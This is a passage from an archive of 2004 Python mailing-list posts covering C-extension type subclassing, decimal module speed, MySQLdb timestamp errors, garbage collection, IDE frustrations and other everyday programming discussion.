	<m3vfeg965o.fsf@pc150.maths.bris.ac.uk>
Message-ID: <41473FCF.5000706@research.att.com>

Michael Hudson wrote:
> Iker Arizmendi <iker at research.att.com> writes:
> 
>>(*) The class I'm deriving from is defined in another
>>extension module and it has its own tp_getattr method.
> 
> 
> Hmm.  I take it *it's* tp_getattr[o] method isn't
> PyObject_GenericGetAttr then?
> 
> Then your initial post makes more sense; I'm afraid I don't see
> any obvious reason for PyObject_GenericGetAttr to crash.

Ah! I missed the trailing 'o' and set tp_getattr, not
tp_getattro as you suggested. However, after setting it
correctly (I think), things still don't behave as I would
expect (eg, the subclass has the union of its methods and
the base class methods). The complete code is pretty long
so I'm not sure I can post it (most of it deals with non
Python stuff) - but here's a more complete piece that
relates to setting up the classes.

The base class (defined in a separated module) looks
like so:

     static PyMethodDef fsmpymethods[] =
     {
        {
          "type", (PyCFunction) fsmpytype,
           METH_NOARGS,
           "type() -> string\n\nReturn FSM type."
        },
        ...
        {
            NULL, NULL, 0, NULL
        }
     };

     static PyObject*
     fsmpy_getattro(PyObject *obj, PyObject* name)
     {
         return Py_FindMethod(fsmpymethods, obj,
                              PyString_AsString(name));
     }

     PyTypeObject FSMPyType =
     {
        PyObject_HEAD_INIT(NULL)
        0,
        "fsm.Fsm",
        sizeof(FSMPyObject),
        0,
        fsmpy_dealloc,                             /*tp_dealloc*/
        0,                                         /*tp_print*/
        0,                                         /*tp_getattr*/
        0,                                         /*tp_setattr*/
        fsmpy_getattro,                            /*tp_getattro*/
        ...
        0,                                         /*tp_setattro*/
        0,                                         /*tp_as_buffer*/
        Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE,  /*tp_flags*/
     ...
     };

The base class doesn't have a new or init method as the author
provides an explicit "create" method.

The subclass that I've put together now looks like so (note
that I now use the tp_getattro method, and cleared both
tp_methods and tp_members):

    static PyMethodDef PyGrmReplace_methods[] =
    {
        {
           "mutate", (PyCFunction)PyGrmReplace_mutate,
           METH_VARARGS|METH_KEYWORDS,
           "mutate(fsm1 [, mode]) -> fsm\n"
        },
        ...
        {NULL}
    };

    static PyObject*
    PyGrm_GetAttro(PyObject *obj, PyObject* name)
    {
       return Py_FindMethod(PyGrmReplace_methods, obj,
                            PyString_AsString(name));
    }

    static PyTypeObject PyGrmReplaceType =
    {
       PyObject_HEAD_INIT(NULL)
       0,                               /* ob_size */
       "grm.GrmReplace",                /* tp_name */
        sizeof(PyFsmObject),            /* tp_basicsize */
        0,                              /* tp_itemsize */
        PyGrmReplace_dealloc,           /* tp_dealloc */
        0,                              /* tp_print */
        0,                              /* tp_getattr */
        0,                              /* tp_setattr */
        ...
        PyGrm_GetAttro,                 /* tp_getattro */
        0,                              /* tp_setattro */
        0,                              /* tp_as_buffer */
        Py_TPFLAGS_DEFAULT,             /* tp_flags */
        "GrmReplace objects",           /* tp_doc */
        ...
        0,                              /* tp_methods */
        0,                              /* tp_members */
        ...
        PyGrmReplace_init,              /* tp_init */
        0,                              /* tp_alloc */
        PyGrmReplace_new,               /* tp_new */
    };

    PyMODINIT_FUNC
    initgrm(void)
    {
       PyGrmReplaceType.tp_new = PyGrmReplace_new;
       PyGrmReplaceType.tp_base = pointerToFSMPyType;
       if (PyType_Ready(&PyGrmReplaceType) < 0)
           return;

       PyObject* m = Py_InitModule3("grm", grm_methods,
                    "Python binding for the AT&T GRM library");
       Py_INCREF(&PyGrmReplaceType);
       PyModule_AddObject(m, "GrmReplace", (PyObject*)&PyGrmReplaceType);
    }

And the result of this is that an instance of grm.GrmReplace
makes the mutate method available, but doesn't have the
type() method from the fsm.Fsm class. Is there some "canonical"
form for implementing this?

Thanks again,
Iker


> 
> 
>>Here's the stack trace (via Valgrind), just in case:
> 
> 
> A stack trace from gdb (i.e. with line numbers) would have been more
> use.
> 
> I think you have two options here: (a) make friends with gdb or (b)
> post [a link to, maybe] complete code.
> 
> Cheers,
> mwh
> 


From ed at leafe.com  Mon Sep 27 19:02:05 2004
From: ed at leafe.com (Ed Leafe)
Date: Mon, 27 Sep 2004 19:02:05 -0400
Subject: New to Python
In-Reply-To: <42ugl0hu091vpb93qvpfcf8lmidkbnou0v@4ax.com>
References: <338366A6D2E2CA4C9DAEAE652E12A1DE4A9007@au3010avexu1.global.avaya.com>	<mailman.3722.1095866933.5135.python-list@python.org>	<pan.2004.09.23.17.02.22.649109@jerf.org>	<poidnXQ3VpJ4V8zcRVn-qg@powergate.ca>
	<mailman.3961.1096294506.5135.python-list@python.org>
	<e7edndpKo-0upsXcRVn-qw@powergate.ca>
	<42ugl0hu091vpb93qvpfcf8lmidkbnou0v@4ax.com>
Message-ID: <406B0F07-10D9-11D9-B926-003065B11E84@leafe.com>

On Sep 27, 2004, at 4:33 PM, Fuzzyman wrote:

> If you're not prepared to think about the way you frame your question
> then you are basically hoping that other people will do your thinking
> for you. It's not much fun helping someone like that...............

	I've been following this discussion, and as someone who has been 
answering questions for a variety of technical matters for many years, 
I just thought I'd share my view.

	Obviously, having the poster pose a perfectly framed question, with 
complete information, etc., is the ideal. Nobody minds helping someone 
who is so well organized. But there are lots of other people out there 
who don't know enough to try what seems like the obvious steps. People 
new to a language tend to get nervous posting; it's hard to write an 
intelligent question when you're feeling stupid.

	My advice to those who find such poorly-worded posts offensive is to 
ignore them. Yes, they could have done a much better job, so if you 
want to respond, ask them for the information that would be relevant in 
figuring out their problem. Often they don't know what's important and 
what isn't. But by all means, taking the time to chastise them doesn't 
help anyone. Either don't bother doing anything if you don't have the 
time to spend with them, or ask for what you need.

	Community is a very positive energy. Keep building it!

      ___/
     /
    __/
   /
  ____/
  Ed Leafe
  http://leafe.com/
  http://dabodev.com/



From me at privacy.net  Tue Sep 21 23:12:23 2004
From: me at privacy.net (Richard Hanson)
Date: Tue, 21 Sep 2004 20:12:23 -0700
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<cihrab$1v8$02$1@news.t-online.com>
	<7xwtyqsmvu.fsf@ruckus.brouhaha.com>
	<cijurc$4gd$02$1@news.t-online.com>
Message-ID: <9ap1l015t6qgcq5s8hil71mrll9e71pnm7@4ax.com>

Peter Otten wrote:

> Paul Rubin wrote:
> 
> > I haven't tried 2.4 yet.  After
> 
> The auther is currently working on an installer, but just dropping it into
> 2.3's site-packages should work, too.

I just dropped decimal.py from 2.4's Lib dir into 2.3.4's Lib dir.
Seems to work. Any gotchas with this route?

By the way, I got decimal.py revision 1.24 from CVS several days ago
and noted a speedup of over an order of magnitude -- almost
twenty-five times faster with this simple snippet calculating a square
root to 500 decimal places. :-) 

[On Win98SE:]

|    from time import clock
|    from decimal import *
|    
|    a = Decimal('18974018374087403187404701740918.7481704084710473048017483047104')
|    t = clock()
|    b = a.sqrt(Context(prec=500))
|    
|    print "Time: ", clock()-t
|    print "b =", b

With decimal.py from 2.4a3.2 dropped into 2.3.4's Lib dir:

|    IDLE 1.0.3      
|    >>> ================================ RESTART ================================
|    >>> 
|    Time:  7.40197958397
|    b = 4355917627100793.0054682072286...[elided]...67722472416430409564807807874919604463
|    >>> 

With decimal.py from CVS (revision 1.24) in 2.3.4's Lib dir:

|    IDLE 1.0.3      
|    >>> ================================ RESTART ================================
|    >>> 
|    Time:  0.300008380965
|    b = 4355917627100793.0054682072286...[elided]...67722472416430409564807807874919604463
|    >>> 

For a check, I did:

|    >>> setcontext(Context(prec=500))
|    >>> b * b
|    Decimal("18974018374087403187404701740918.748170408471047304801748304710400...[lotsa zeroes]...00")

Pretty damn impressive! -- Try it, you'll like it!

Good job to the crew for Decimal and the latest optimizations!


now-I-just-need-atan[2]()-ly y'rs,
Richard Hanson

-- 
sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com


From grante at visi.com  Sun Sep 19 11:48:35 2004
From: grante at visi.com (Grant Edwards)
Date: 19 Sep 2004 15:48:35 GMT
Subject: C programming newsgroup
References: <zN2dnU3STdMjONDcRVn-uw@comcast.com>
Message-ID: <414daa53$0$62444$a1866201@newsreader.visi.com>

On 2004-09-19, Zach Shutters <zshutters at comcast.net> wrote:

> What newsgroup can you guys recommend for me that talks about programming in 
> c/c++ that is as active as this one? 



-- 
Grant Edwards                   grante             Yow!  Hold the MAYO & pass
                                  at               the COSMIC AWARENESS...
                               visi.com            


From aleaxit at yahoo.com  Tue Sep  7 09:58:06 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 7 Sep 2004 15:58:06 +0200
Subject: How to actually write a program?
References: <chano0$1gv$1@sparta.btinternet.com>
	<mailman.2916.1094457850.5135.python-list@python.org>
	<O9GdnTcSZLeCcaHcRVn-oA@powergate.ca>
	<1gjqk5q.vkzzpcbywftaN%aleaxit@yahoo.com>
	<IcOdnbhAqfAqK6DcRVn-hQ@powergate.ca>
Message-ID: <1gjr2qj.3utj1719pdmf4N%aleaxit@yahoo.com>

Peter Hansen <peter at engcorp.com> wrote:

> Alex Martelli wrote:
> 
> > Peter Hansen <peter at engcorp.com> wrote:
> >>Ahhh!!  Run!  Run, Neil, run!  UML!
> ...
> >>Ahhh!!! Run away some more!  UML and XP are nearly anti-thetical.
> > 
> > UML and Agile/XP are typically used in organizations with very different
> > philosophies and mindsets.  They're anything but antithetical
> > _technically_, but, _culturally_, you're probably right...
> 
> I guess I won't (can't) disagree until I have an idea what
> you mean in this case by "technically".  On the face of it,
> I see little that isn't antithetical about them, technically
> or otherwise.  Quick (and for the most part throw-away) drawings
> on whiteboards would seem to be the preferred Agile/XP solution,
> but maybe that's where you bring in "culturally"...

In many cases such drawings will be just fine (and quite a few places in
the past splurged for self-copying whiteboards, though these days the
cheap way to make those sketches durable is a digital camera), but not
in all.  Again, Scott Ambler deals with this better than I can hope to
do in a post.  Technically, UML is a language, or series of languages,
to express various modeling artifacts.  There is nothing in Agile
Development (or even specifically XP) which makes those diagrams'
languages incompatible with agility or extremity, any more than, say,
CRC based alternatives, or any other kind you like.

Let me offer a silly analogy: an XP team might perfectly well decide
that the language for all of their communication will be Latin.  There
is nothing technically incompatible between that decision and XP's
practices -- the Vatican has made sure approved Latin terms exist for
all kinds of modern words, they publish a dictionary for the purpose.
It would be _culturally_ unlikely, but there's no technical antithesis.

Clearer now...?

 
> >>-rabidly-anti-UML-ically y'rs,
> >>  Peter
> > 
> > I suspect your "anti-ness" comes from cultural and not technical factor.
> > Basically, injecting some modeling into an Agile culture, just like the
> > reverse, takes diplomatic talents which very few people possess...
> 
> Again, not sure how to tell the difference.  I was working in
> a group where we were trying to make effective use of UML
> before we ever encountered Agile... in fact, it was in part
> due to those experiences that we embraced agility and XP...
> And since we managed to get agility into a modeling culture,
> I'll assume someone had the necessary talents.  I think the
> problem lay elsewhere.

Ah, a _lapsed_ UML'arian, those are indeed the most rabid ones;-)


Alex


From abra9823 at mail.usyd.edu.au  Mon Sep 20 19:41:41 2004
From: abra9823 at mail.usyd.edu.au (Ajay)
Date: Tue, 21 Sep 2004 09:41:41 +1000
Subject: MAC address
In-Reply-To: <414efed5$0$60631$a1866201@newsreader.visi.com>
References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au>
	<200409201005.25963.heikowu@ceosg.de>
	<mailman.3553.1095679406.5135.python-list@python.org>
	<414efed5$0$60631$a1866201@newsreader.visi.com>
Message-ID: <1095723701.414f6ab5d717d@www-mail.usyd.edu.au>

Quoting Grant Edwards <grante at visi.com>:

> On 2004-09-20, Ajay <abra9823 at mail.usyd.edu.au> wrote:
>
> > its actually windows that i would like to find out about. what
> > i am trying to do is to anonymize client address by picking a
> > random MAC address and using that instead
>
> That's a pretty bad idea.  If you insist on doing it, read the
> Ethernet spec so you make sure you're picking a valid address.

and why is it a bad idea?
also, is there an alternative way to anonymize a client?



>
> --
> Grant Edwards                   grante             Yow!  Yow! I'm out of
>                                   at               work...I could go
> into
>                                visi.com            shock absorbers...or
> SCUBA
>                                                    GEAR!!
> --
> http://mail.python.org/mailman/listinfo/python-list
>


----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.


From rynt at 9yahoo.com  Wed Sep  8 15:06:48 2004
From: rynt at 9yahoo.com (R Baumann)
Date: Wed, 8 Sep 2004 12:06:48 -0700
Subject: Question: tools for business apps development
References: <mailman.2847.1094238878.5135.python-list@python.org><1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com><864d370904090606465938fea5@mail.gmail.com><mailman.2980.1094568177.5135.python-list@python.org><2q5vvrFrq42gU2@uni-berlin.de><E0922EB9-01A3-11D9-A2ED-000A957911BC@ksenia.nl>
	<mailman.3037.1094655105.5135.python-list@python.org>
Message-ID: <cqydnRnb6brUxaLcRVn-qw@megapath.net>

"Carlos Ribeiro" <carribeiro at gmail.com> wrote in message
news:mailman.3037.1094655105.5135.python-list at python.org...
> Hello all,
>
> Thanks to all that have contributed so far. Some very good suggestions
> have appeared. I still have my concerns over XUL. Flash is also
> another matter -- it requires yet another set of knowledge and tools
> before starting to write code. But nonetheless, all these approaches
> have their own advantages, namely a richer user experience than it's
> possible with plain HTML (or even Tk). So they're really worth
> checking.
>
> As a dig deeper in the search of a business development paradigm for
> Python, the more problems I find. It's not only lack of tools. It's
> also the lack of a common idiom to write business apps. Each and every
> library around uses a different approach to map business objects and
> concepts to Python's code. Each one ties things together in a
> different way. It's surprising, considering that in Python normally
> "there is one way to do it". Not this is a show stopper -- it only
> shows how far we are now from something like J2EE.
>
> I'll keep looking around and checking more stuff. As far as the user
> interface is concerned --  I'll probably do it simple, using HTML and
> Javascript. Yes, I'm going to implement a webapp, instead of a native
> Windows app, or at least that's the current choice (my friend changed
> his mind over this). But I'll keep posting my progress.
>
> -- 
> Carlos Ribeiro

Have you looked at GNUe?




From tim.peters at gmail.com  Tue Sep 28 12:41:03 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Tue, 28 Sep 2004 12:41:03 -0400
Subject: repeat something in a thread, but stop when the program stops
In-Reply-To: <Xns95725B68F8800cpl19ghumspamgourmet@195.20.224.116>
References: <5db4fffa.0409270551.57a96cda@posting.google.com>
	<mailman.3969.1096301203.5135.python-list@python.org>
	<Xns95725B68F8800cpl19ghumspamgourmet@195.20.224.116>
Message-ID: <1f7befae040928094144240db0@mail.gmail.com>

[Tim Peters, on waking up a thread to check a queue 20 times a second]
>> Measure it:  you won't be able to see a difference.  Modern processors
>> cram on the order of 1E9 cycles into each second.  Doing a tiny amount
>> of work 20 times per second is trivial.

[Harald Massa]
> You are surely right, Tim. Measuring did not detect the difference. I just
> see my tasktray collecting more and more icons of programs which just do a
> very tiny amount of work every half a second, and ... as them getting many,
> the computer begins to feel more sluggish.

Those are quite different, and they do more work than you may think. 
For example, if a program puts an icon in the Windows systray, then it
has a graphical UI too, and has to run a Windows message pump to
detect stuff like "is the mouse hovering over my icon now?  did they
click on me?  did they right-click on me?  did they double-click on
me?".  Apps in the systray often do a lot more than just that too. 
For example, one app in my systray right now hooks itself into the
Windows clipboard chain, and intercepts (and so also slows, by some
amount I couldn't care less about) all clipboard operations.  Another
hooks itself into the file system at a low level, tracking all disk
changes, and so slows (by a measurable amount!) all disk writes. 
Heck, the little systray icon showing the pressure on my laptop's
touchpad represents a process that has read over a billion bytes since
I last booted.  Etc.

A Python thread waking up to see whether a Python Queue has something
in it does none of that stuff.  If you have hundreds of Python threads
doing this, then you can start to think about maybe worrying when it
gets to thousands <wink>.


From wesley.kincaid at gmail.com  Mon Sep 27 19:42:04 2004
From: wesley.kincaid at gmail.com (Wesley Kincaid)
Date: 27 Sep 2004 16:42:04 -0700
Subject: Invalid Literal from MySQLdb Query
Message-ID: <ae6ce8e7.0409271542.7be4d984@posting.google.com>

I'm attempting to run a simple query through MySQLdb's
cursor.execute().  However, when the request includes a timestamp
field, I'm getting "ValueError: invalid literal for int(): 9-."

Could someone please explain what I'm doing wrong?


The table is served off of MySQL 4.0.20 and contains the following
fields:

    doc_id  ...  int(64)
    doc_author  ...  varchar(255)
    doc_created  ...  timestamp(14)
    doc_updated  ...  timestamp(14)
    doc_data  ...  longtext


Here's an example of the code I'm attempting:

Python 2.3.4 (#1, Sep 24 2004, 12:07:36) 
[GCC 2.95.4 20011002 (Debian prerelease)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import MySQLdb
>>> db = MySQLdb.connect(host="HOSTNAME", user="USER",
passwd="PASSWD", db="DB")
>>> cursor = db.cursor()
>>> cursor.execute("select * from documents")
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "/home/oneofmanyme/local/lib/python2.3/site-packages/MySQLdb/cursors.py",
line 95, in execute return self._execute(query, args)
  File "/home/oneofmanyme/local/lib/python2.3/site-packages/MySQLdb/cursors.py",
line 114,    in _execute self.errorhandler(self, exc, value)
  File "/home/oneofmanyme/local/lib/python2.3/site-packages/MySQLdb/connections.py",
line 33, in defaulterrorhandler raise errorclass, errorvalue
ValueError: invalid literal for int(): 9-


If I don't include timestamps (such as doc_created) in the query,
things work just fine:

>>> cursor.execute("select doc_id, doc_author from documents")
1L
>>> print cursor.fetchone()
(1L, 'oneofmanyme')


Much thanks in advance,
Wesley


From firstname at lastname.pr1v.n0  Wed Sep  8 07:05:17 2004
From: firstname at lastname.pr1v.n0 (Morten Reistad)
Date: Wed, 8 Sep 2004 13:05:17 +0200
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com><769.746T1245T5844062@kltpzyxm.invalid>
	<opsdy5xuappqzri1@mjolner.upc.no>
	<p9qdnTnxTYDJR6PcRVn-pw@speakeasy.net>
Message-ID: <d1pmhc.6o31.ln@via.reistad.priv.no>

In article <p9qdnTnxTYDJR6PcRVn-pw at speakeasy.net>,
Rob Warnock <rpw3 at rpw3.org> wrote:
>John Thingstad <john.thingstad at chello.no> wrote:
>+---------------
>| As you may know XP is not particularly good as a server.
>...
>| I would go for some Unix implementation (perhaps free-BSD)
>| As a workstation XP seems OK.
>| I hear a lot of complaints about XP's stability.
>| Since I have not administered a XP network, yet, I cant comment on that.
>| But in my personal experience it is a stable system.
>| I frequently let my computer run 24 hrs. a day for more than a month  
>| without a need to reboot. So for me it is adequate.
>+---------------

There you say it all. I consider two of my FreeBSD-boxes unstable
at the moment. I've had to reboot each of them twice in 18 months.
They both run the full complement of apache, sendmail, mysql, Free/SWAN
leafnode and a score of other stuff; and they go into wedged mode. 

Different expectations.

>*Only* a month?!?  Here's the uptime for one of my FreeBSD boxes
>[an old, slow '486]:
>
>    %  uptime
>     2:44AM  up 630 days, 21:14, 1 user, load averages: 0.06, 0.02, 0.00
>    % 
>
>That's over *20* months!!
>
>
>-Rob
>
>p.s. I remember the time back in the early 70's (at Emory Univ.) when
>we called DEC Field Service to complain that our PDP-10 had an uptime
>of over a year. Why were we complaining? Well, that meant that DEC Field
>Service had failed to perform scheduled preventive maintenance (which
>usually involved at least one power cycle)...  ;-}

I had a customer complaint at Prime framed at their tech dept; it was
about wrapped counters after ~300 days uptime.

-- mrr



From zathras at thwackety.com  Fri Sep 10 11:33:16 2004
From: zathras at thwackety.com (Michael Sparks)
Date: Fri, 10 Sep 2004 16:33:16 +0100 (BST)
Subject: WxInter
In-Reply-To: <16705.47355.109973.263814@montanaro.dyndns.org>
Message-ID: <Pine.LNX.4.44.0409101630040.4881-100000@pingu.thwackety.com>

On Fri, 10 Sep 2004, Skip Montanaro wrote:

>
>     Tom> It seems that the thing that people like about Tk is the Canvas
>     Tom> object has anyone tried the wxFloatCanvas as a replacement.
>
> Where is it?  Google turns up essentially nothing for "wxFloatCanvas" on
> either groups or web.  That makes it a pretty well-hidden object.  Google
> offered "wxPlotCanvas" as an alternative.  Are they related?

http://www.wxpython.org/docs/api/wx.lib.floatcanvas.FloatCanvas.FloatCanvas-class.html

(try changing your search terms to wx FloatCanvas :-)

NB. I don't use wx, but you *did* ask where it might be :)

Regards,


Michael.



From julioperezsosa at yahoo.com  Sun Sep 19 19:14:20 2004
From: julioperezsosa at yahoo.com (julio)
Date: Sun, 19 Sep 2004 19:14:20 -0400
Subject: python is going to die! =(
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<pan.2004.09.20.19.27.30.753994@jerf.org>
	<9c991c08040919154150f63d34@mail.gmail.com>
Message-ID: <cil3sg$njp$1@sea.gmane.org>

Abe Mathews wrote:


> As for C# "killing" Python?  I don't think so.  There are still plenty
> of folks programming in Fortran (and heck, some still in COBOL) for
> crying out loud.  C is still studied, used, and taught, even though
> C++ was should have supplanted it.  Maybe at some point Python will
> stop being a major development language, but that doesn't mean it's
> going to die.

 
> Languages are tools, plain and simple.  You appear to have found a
> tool that works better for you in the methods that you prefer to work
> under.  That doesn't diminish the usefulness of someone else's
> preferred tool.  Just because you like your table saw, that doesn't
> mean that the usefulness of my old handsaw is diminished, it just
> means we have additional options available.  Options are a GOOD thing.
> 
> Abe Mathews

 If you consider a language used by 5 crazy guys not being dead then
fine.And maybe you can see languages as just interchangeable tools when you
just develop some custom system scripts, but when 90% of the developers
need to consider how many developers you will find to start a proyect, or
how the tools that increase your productivity are ,things looks diferent. 

It is exactly as you said, options are good , and there are no options for a
real python ide other than the wingide guys sells their ide for a
ridiculously 200$ because they have no competition or because no one realy
cares about a real python ide.




From elbertlev at hotmail.com  Tue Sep 28 18:38:28 2004
From: elbertlev at hotmail.com (Elbert Lev)
Date: 28 Sep 2004 15:38:28 -0700
Subject: annoying behavior
References: <9418be08.0409280856.9368ddf@posting.google.com>
	<cjc61h$ag0$1@news2.wdf.sap.corp>
Message-ID: <9418be08.0409281438.25e2abe@posting.google.com>

Daniel Dittmar <daniel.dittmar at sap.corp> wrote in message news:<cjc61h$ag0$1 at news2.wdf.sap.corp>...

I think, it would be good, if some sort of warning is given during
import, but not during instantiating the instance of the class. At
least in a "debug" mode. What really did happen: the bug was reported
after the scrip was running for 30 minutes. PyCheck finds it
immediatelly. Why not to do the same kind of check in the interpreter?


From alexander.hoffmann at netgenius.de  Wed Sep  8 05:31:11 2004
From: alexander.hoffmann at netgenius.de (Alexander Hoffmann)
Date: Wed, 8 Sep 2004 11:31:11 +0200
Subject: python memory analysis
In-Reply-To: <413DCFEB.2060102@jerf.org>
References: <200409061457.50722.alexander.hoffmann@netgenius.de>
	<200409061817.53100.alexander.hoffmann@netgenius.de>
	<413DCFEB.2060102@jerf.org>
Message-ID: <200409081131.11138.alexander.hoffmann@netgenius.de>

Hello Jeremy,

On Tuesday 07 September 2004 17:12, Jeremy Bowers wrote:
> Alexander Hoffmann wrote:
> > Hello Jeremy,
> > Thanks for your help !
> >
> > Indeed a first invocation of gc.get_objects already gave me an idea about
> > what might go wrong. It seems like the garbage collector does not remove
> > objects a and b if a references b even though no one else references
> > either a or b.
> >
> > I will continue my analysis.
>
> My understanding is that in the case where a->b, and nobody else
> referencing either, a and b are to be collected at the next run.
You're right ! What I didn't see at first is that there indeed was another 
reference from b to a. So I had something like a double linked list:
a.next = b
b.prev = a
This lead to a and b - which were not referenced by any other object but 
themselves - were not collected by gc.

> If you can produce a concise test case, I strongly suggest posting it to
> c.l.p. to get more expert opinions on whether it is a Python bug. I only
> know what I've heard the real experts say, and like I said, every time
> I've had this problem and I go to produce a test case, the problem
> vaporizes on me. Without a concise test case, nobody can help.
I feel a bit ashamed because I tend to extensively use unit tests to assure 
quality of my software (my latest project has approx. 9000 lines of code and 
among them are about 4000 only for unit tests) and finally I was able make 
the zombies disappear from memory by manually implementing a destructor for 
all affected classes. Unfortunately none of my tests covered this issue, I'll 
try to change that !

> Good luck!
Thanks   :-)

btw: while searching my memory leak I figured out another issue which I will 
post in a separate thread. There are thousands of tuples allocated by Python 
which are not freed again. Let's see what people around here know about 
this...

--alex


From carribeiro at gmail.com  Mon Sep 13 16:10:16 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Mon, 13 Sep 2004 17:10:16 -0300
Subject: Ranting about the state of Python IDEs for Windows
Message-ID: <864d3709040913131077f1732d@mail.gmail.com>

Oh well. A mailing list is not the most appropriate place for rants (a
blog is better), but it's still better than keeping it for myself.

I'm frustrated. My search for a good IDE to support my activities --
doing development for Python in the Windows environment -- are not
being succesful as I had originally dreamt. I have big constraints on
what can I do now; money is not an option, and my current machine is
still useful but it's below par for more advanced stuff. It's my
fault? Probably. But it's all that I have -- a 500MHz PC with 64MB and
Win98 SE. It has to be Windows, for reasons beyond my control (read
wife and kids :-).

All IDEs I've evaluated so far have shown so far some type of
showstopper. Some of them are fixable (I can do it myself), but it's
not supposed to be like this. Even for open source projects, the least
that one expects is to be able to install and run.

The only partial exception so far is Boa Constructor. Riaan is
responsive, and there is a lot of things implemented. However, it's
far from perfect. It's heavy, takes a long time to load, and has some
debatable UI features -- some may like it, but I think about them as
little more than annoying design inconsistencies.

DrPython has show some promise. However, on my first try I could not
start it -- had to patch the initialization code. My patch is a hack,
so I haven't contributed it back. The problem is simple, just that my
PC just can't handle paths with slashes -- I had to pass backslashes
to all os.* calls. I never had this issue before, so I don't know if
it's my Windows version or Python's libray fault (I assume the
former). I managed to start it yesterday very late at night, but
haven't tried to use it immediately. I tried it again now, and it's
bombing as soon as I ask to open a new file. Can I fix it? Probably.
But that's not the point - I should be delivering code to my
customers.

I also tried Wing IDE Personal. At first it worked fine; it's a little
bit heavy, but... as soon as I try to save some file it bombs, too.
Haven't tried to contact the support, because I had decided that I
could probably find other tool to fit my bill. Now I may need to
reevaluate it once again, but first, it has to start saving files :-|.

Other non-option is eric3 -- mainly because I can't install it, Qt
being commercial for Windows.

The funny thing is that I don't need anything particularly fancy. A
good Python editor, syntax coloring, a few helpers (moving blocks &
stuff). Debugging is good, but it's not what I really miss. Even form
designers -- I could live without them. What I really miss are stuff
that I regard as basic: a tabbed editor window for multiple files, and
a good project manager interface -- a place where I can find all the
files belonging to my projects without having to move around the
directory tree whenever I have to do anything. Could I do it using
only command-line tools? Probably, but it's not comfortable,
convenient or productive. A good IDE would bring me these three things
that I'm longing for.

For now, I'm still having to resort on PythonWin for all my needs.
That's a shame, not because PythonWin isn't good (in fact it's a
fantastic piece of software); but because Python deserves better.

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From clifford.wells at comcast.net  Mon Sep 13 02:12:44 2004
From: clifford.wells at comcast.net (Cliff Wells)
Date: Sun, 12 Sep 2004 23:12:44 -0700
Subject: cgi sorting table
In-Reply-To: <Xns956313D60584Binderjitraiyahoocom@66.185.95.114>
References: <Xns956313D60584Binderjitraiyahoocom@66.185.95.114>
Message-ID: <1095055964.26967.51.camel@devilbox.devilnet.internal>

On Mon, 2004-09-13 at 05:55 +0000, someguy wrote:
> Hi guys,
>     	
>     	I'm using Python to generate a cgi web page with a table.  What I 
> want to do is able to sort the table when the user clicks on a table 
> header.  I'm trying to avoid using DOM and instead just want to use python 
> to generate a new page.  Any ideas?

Just have the table header be a link that POSTs back to your cgi script
with the index of the column.  You don't give a lot of information here,
but I'm guessing your table is generated from a Python list, so just use
the list's sort() method, then redisplay the page.

Regards,
Cliff

-- 
Cliff Wells <clifford.wells at comcast.net>



From __peter__ at web.de  Wed Sep 29 15:24:39 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 29 Sep 2004 21:24:39 +0200
Subject: Backslash substitutions
References: <415b0902$0$30702$8fcfb975@news.wanadoo.fr>
Message-ID: <cjf25n$e1u$03$1@news.t-online.com>

Vivien Mallet wrote:

> How would you perform backslash substitution in a string, just like the
> Python parser does?

 >>> "\\\\A\\tB".decode("string_escape")
'\\A\tB'
>>> _.encode("string_escape") # back again
'\\\\A\\tB'

Peter



From aleaxit at yahoo.com  Mon Sep 20 03:49:55 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 20 Sep 2004 09:49:55 +0200
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<mailman.3482.1095528019.5135.python-list@python.org>
	<ida3d.3866$%42.2117@trndny08>
	<k4grk05437ut8ge389n3k2gqmq93jiij72@4ax.com>
	<1gkdncx.kyq0oz1excwtyN%aleaxit@yahoo.com>
	<414e8b22$0$194$edfadb0f@dread11.news.tele.dk>
Message-ID: <1gkeol2.ntrvlraqomgfN%aleaxit@yahoo.com>

Frithiof Andreas Jensen
<frithiof.jensen at diespammerdie.jensen.tdcadsl.dk> wrote:

> aleaxit at yahoo.com (Alex Martelli) wrote in news:1gkdncx.kyq0oz1excwtyN%
> aleaxit at yahoo.com:
> 
> > Nothing strange there -- HP's calculators were squarely aimed at
> > scientists and engineers, who are supposed to know what they're doing
> > when it comes to numeric computation (they mostly _don't_, but they like
> > to kid themselves that they do!-).
> 
> Oi!!! I resemble that remark !
> 
> ;-)

OK, I should have used first person plural to count myself in, since,
after all, I _am_ an engineer...: _we_ mostly don't, but we like to kid
ourselves that we do!-)


Alex


From mlh at furu.idi.ntnu.no  Fri Sep 24 15:12:52 2004
From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland)
Date: Fri, 24 Sep 2004 19:12:52 +0000 (UTC)
Subject: Twisted Matrix - The Motion Picture
References: <mailman.3840.1096024612.5135.python-list@python.org>
Message-ID: <slrncl8sdk.okj.mlh@furu.idi.ntnu.no>

In article <mailman.3840.1096024612.5135.python-list at python.org>, Tim
Churches wrote:
>Apologies if someone has already posted an item about this,

Hm. Didn't *you* just post an item about it? At least it seems like it
in my newsreader...

Oh, well. Couldn't resist :)

-- 
Magnus Lie Hetland       Fallen flower I see / Returning to its branch
http://hetland.org       Ah! a butterfly.           [Arakida Moritake]


From aleaxit at yahoo.com  Wed Sep  8 02:48:45 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 8 Sep 2004 08:48:45 +0200
Subject: Memory Error while constructing Compound Dictionary
